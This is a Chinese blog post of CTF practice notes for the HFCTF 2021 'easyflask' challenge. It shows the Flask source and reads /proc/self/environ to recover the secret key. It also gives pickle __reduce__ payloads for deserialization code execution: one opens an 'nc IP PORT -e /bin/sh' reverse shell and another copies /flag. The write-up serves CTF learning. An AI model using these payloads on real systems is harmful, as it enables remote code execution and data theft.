刷题笔记:[HFCTF 2021 Final]easyflask


前言

关键字:[pickle|__reduce__]

/file?file=index.js

题解

/file?file=/app/source
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

session解码下

2021年10月14日12:23:25

见鬼了,这个解码结果是错的,弄的我后面打了半天没成功

正确的应该是这个格式

读取环境变量/proc/self/environ

、

glzjin22948575858jfjfjufirijidjitg3uiiuuh

这里要用到pickle的__reduce__魔术方法,可见刷题笔记:[watevrCTF-2019]Pickle Store

import pickle
from base64 import b64encode

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (eval, ("__import__('os').system('nc IP PORT -e /bin/sh')",))

})

u = pickle.dumps(User())
print(b64encode(u).decode())

也可以这么构造

class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/test1"
        return (os.system, (cmd,))

看样子不用拘泥于原来的class形式

参考链接

https://blog.csdn.net/weixin_43610673/article/details/118065324


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录